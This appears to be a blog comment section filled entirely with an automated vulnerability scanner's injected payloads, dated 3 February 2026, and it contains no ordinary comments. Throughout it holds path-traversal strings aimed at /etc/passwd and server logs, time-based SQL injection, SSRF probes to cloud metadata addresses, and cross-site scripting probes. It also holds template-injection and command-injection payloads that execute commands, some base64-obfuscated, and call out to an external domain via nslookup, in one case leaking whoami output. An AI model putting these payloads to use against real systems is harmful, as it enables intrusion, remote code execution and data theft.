Tue, 03 Feb 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('57468')).read()
Tue, 03 Feb 2026
body{x:[removed]netsparker(0x17CE66))}
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dvdgrhktpshyghjd1g8gvb-ddwuhv9c" & "afm.r87.me").StdOut.ReadAll+
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
http://127.0.0.1:22
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/access.log
Tue, 03 Feb 2026
SELECT pg_sleep(25)--
Tue, 03 Feb 2026
*/netsparker(0x17D0C8);/*
Tue, 03 Feb 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_dckvapcq25vwyrxqzew4i394ufm_gxj" & "-w8.r87.me").StdOut.ReadAll%>
Tue, 03 Feb 2026
file:///etc/passwd
Tue, 03 Feb 2026
1);SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://64.20.35.186:22
Tue, 03 Feb 2026
'+netsparker(0x17D2B8)+'
Tue, 03 Feb 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_dk8gwhjqu1qqskjin-ewfbc8xg10a-k" & "opw.r87.me").StdOut.ReadAll+"
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
1');SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://[::1]:22
Tue, 03 Feb 2026
"+netsparker(0x17D434)+"
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd.php
Tue, 03 Feb 2026
gethostbyname(lc 'leo2yix4_dija_bsh8oj4q2tgaeipthjw8idwsg9'.'-ci.r87.me')
Tue, 03 Feb 2026
1'));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://127.0.0.1:3306
Tue, 03 Feb 2026
\';netsparker(0x17D5B7);///
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Tue, 03 Feb 2026
eval('gethostbyname(lc 'leo2yix4_dr6l18fcjcuj8qike19yixk9wbi1gbj'.'9ki.r87.me')')
Tue, 03 Feb 2026
1));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://64.20.35.186:3306
Tue, 03 Feb 2026
',netsparker(0x17D77D),'
Tue, 03 Feb 2026
'+gethostbyname(lc 'leo2yix4_dn2lifathrhvbsacdrvhfdplxqwre_w'.'z-s.r87.me')+'
Tue, 03 Feb 2026
((SELECT(1)FROM(SELECT(SLEEP(25)))A))
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Tue, 03 Feb 2026
http://[::1]:3306
Tue, 03 Feb 2026
netsparker(0x17DA13)
Tue, 03 Feb 2026
"+gethostbyname(lc 'leo2yix4_dgkjptho83quhw7fhdumotn0mmektl2'.'g7s.r87.me')+"
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
https://www.aosacademy.com/server-status
Tue, 03 Feb 2026
netsparker(0x17DABF);
Tue, 03 Feb 2026
nslookup leo2yix4_dys1mqijdfrycwotfatucxqj21cqelg^xpy.r87.me&'\"`0&nslookup leo2yix4_dys1mqijdfrycwotfatucxqj21cqelg^xpy.r87.me&`'
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini.php
Tue, 03 Feb 2026
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
http://169.254.169.254/opc/v1/instance
Tue, 03 Feb 2026
'+netsparker(0x17DC5C)+'
Tue, 03 Feb 2026
& nslookup leo2yix4_d258rx84yz-nmbkduztqrlmwjfmthmf^4ri.r87.me&'\"`0&nslookup leo2yix4_d258rx84yz-nmbkduztqrlmwjfmthmf^4ri.r87.me&`'
Tue, 03 Feb 2026
1/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
Tue, 03 Feb 2026
1/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
'"@--></style>[removed][removed]netsparker(0x17DDDC)[removed]
Tue, 03 Feb 2026
https://metadata.packet.net/metadata
Tue, 03 Feb 2026
'& nslookup leo2yix4_d0mzaudn5kypkal8p3fkkfzfmsz-0su^q80.r87.me&'\"`0&nslookup leo2yix4_d0mzaudn5kypkal8p3fkkfzfmsz-0su^q80.r87.me&`'
Tue, 03 Feb 2026
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"
Tue, 03 Feb 2026
/etc/passwd
Tue, 03 Feb 2026
"+netsparker(0x17DFC1)+"
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
"& nslookup leo2yix4_ded3ir_u_ei1vy-q_wkdmv4usphvf0c^xhu.r87.me&'\"`0&nslookup leo2yix4_ded3ir_u_ei1vy-q_wkdmv4usphvf0c^xhu.r87.me&`'
Tue, 03 Feb 2026
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x17E136)[removed]</html>
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
nslookup "leo2yix4_d9zczcpakaexvoma536ebfcoelss3xc""diw.r87.me"
Tue, 03 Feb 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Tue, 03 Feb 2026
[removed]TlM3NzU0NTYxNDQ2NTc1
Tue, 03 Feb 2026
//r87.com/?0x17E3D9
Tue, 03 Feb 2026
&nslookup "leo2yix4_dshdf9xzmnvieutrsnvtcc8dwsxa4fd""iz4.r87.me"
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
11
Tue, 03 Feb 2026
<a>
Tue, 03 Feb 2026
'&nslookup "leo2yix4_dejsmucsflehrgydvp3hthmmciqk3cm""kn4.r87.me"
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
ns@mail.ns'"/>()&%[removed]netsparker(0x17E82C)[removed]
Tue, 03 Feb 2026
11
Tue, 03 Feb 2026
"&nslookup "leo2yix4_dw0s0gent0-x8v8ysalvymggs9pinf5""akg.r87.me"
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
Content-Type:text/html [removed]ns(0x17E91A)[removed]
Tue, 03 Feb 2026
|nslookup${IFS}"leo2yix4_db85kfohl-qq8ihxi97tus88p4peect""6hq.r87.me"
Tue, 03 Feb 2026
/blog/add_blog_comment/11
Tue, 03 Feb 2026
/../../../../../../../../../../web.config
Tue, 03 Feb 2026
<frame src="[removed]netsparker(0x17EBC9)"></frame>
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_dz1sbq3zo1gg74x0uwyaacjnyxoe4vk""lpg.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
/add_blog_comment/11
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_dfgo3-q5q1t7ek4w3uucb0yv5gnpi_1"2ik.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
WEB-INF/web.xml
Tue, 03 Feb 2026
file:///windows/win.ini
Tue, 03 Feb 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZDh5aGJlX3hubnJhN2IzbjAyZ3lvcG1iZWxpcWlzYW1yeS5yODcubWU=')).read()}}
Tue, 03 Feb 2026
/../../../../../../../../../../WEB-INF/web.xml
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini.php
Tue, 03 Feb 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkhZNGMyMWxkWFZ0Ym5GemNHVmxkR3hrTm00dGQybHBjM0J0WDNKbGVHWnJiUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/access.log
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
c:\windows\win.ini
Tue, 03 Feb 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZDNjd19qamt2ei1yLXR3ZzZxZ2hyYmNfcGk2cDlyaHZoNC5yODcubWU=','base64').toString())
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/access.log
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/nginx/access.log
Tue, 03 Feb 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZDhvdWhmZ243ams2dmx5cHFoa3Vhamh6MTZxejRpZ3drOC5yODcubWU=','base64').toString()) %>
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Tue, 03 Feb 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_d7k3qx-jkszvmxknq-ykj1iwcueaw72"."rsk.r87.me"),'b');{/php}
Tue, 03 Feb 2026
/../../../../../../../../../../opt/lampp/logs/access_log
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Tue, 03 Feb 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_d8jti_io_vzvgycczw87cxsdqnvhk72"~"dbo.r87.me")}}
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/lighttpd/access.log
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Tue, 03 Feb 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZGtrb2ZpaWJ5c3p5anV2YWFxYm1uMnl2c2RuaXBydWpwbS5yODcubWU=')})).to_s}" %>
Tue, 03 Feb 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../windows/iis6.log
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZGU0aXhpbnBjcnBvYm9vaHNjcDFkbjVzczM3emt0Z18zbS5yODcubWU=|{base64,--decode})}") }
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2
Tue, 03 Feb 2026
../../../../../../../../../../xampp/apache/logs/access.log
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_d9yc-s-xsoqxmry9ljipopb-kln2s1m"+"aeo.r87.me") }
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2.php
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/access.log
Tue, 03 Feb 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dwgmpyrih515tvyuqscriqmeqkxl7ec".concat "f-o.r87.me")
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error.log
Tue, 03 Feb 2026
Tue, 03 Feb 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZDR4cmMxbW9oejh5dW50ZWFkanYycGl3cG82dHB3Ynhrdy5yODcubWU=')).read()
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error_log
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/error.log
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/error.log
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version.php
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
file:///etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd.php
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Tue, 03 Feb 2026
1/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
/etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
[removed]TlM3NzU0NTYxNDQ2NTc1
Tue, 03 Feb 2026
12
Tue, 03 Feb 2026
12
Tue, 03 Feb 2026
/blog/add_blog_comment/12
Tue, 03 Feb 2026
/add_blog_comment/12
Tue, 03 Feb 2026
WEB-INF/web.xml
Tue, 03 Feb 2026
/../../../../../../../../../../WEB-INF/web.xml
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/access.log
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/access.log
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/nginx/access.log
Tue, 03 Feb 2026
/../../../../../../../../../../opt/lampp/logs/access_log
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/lighttpd/access.log
Tue, 03 Feb 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Tue, 03 Feb 2026
../../../../../../../../../../xampp/apache/logs/access.log
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/access.log
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
3
-1 OR 1=1 Smith
Tue, 03 Feb 2026
3
Reply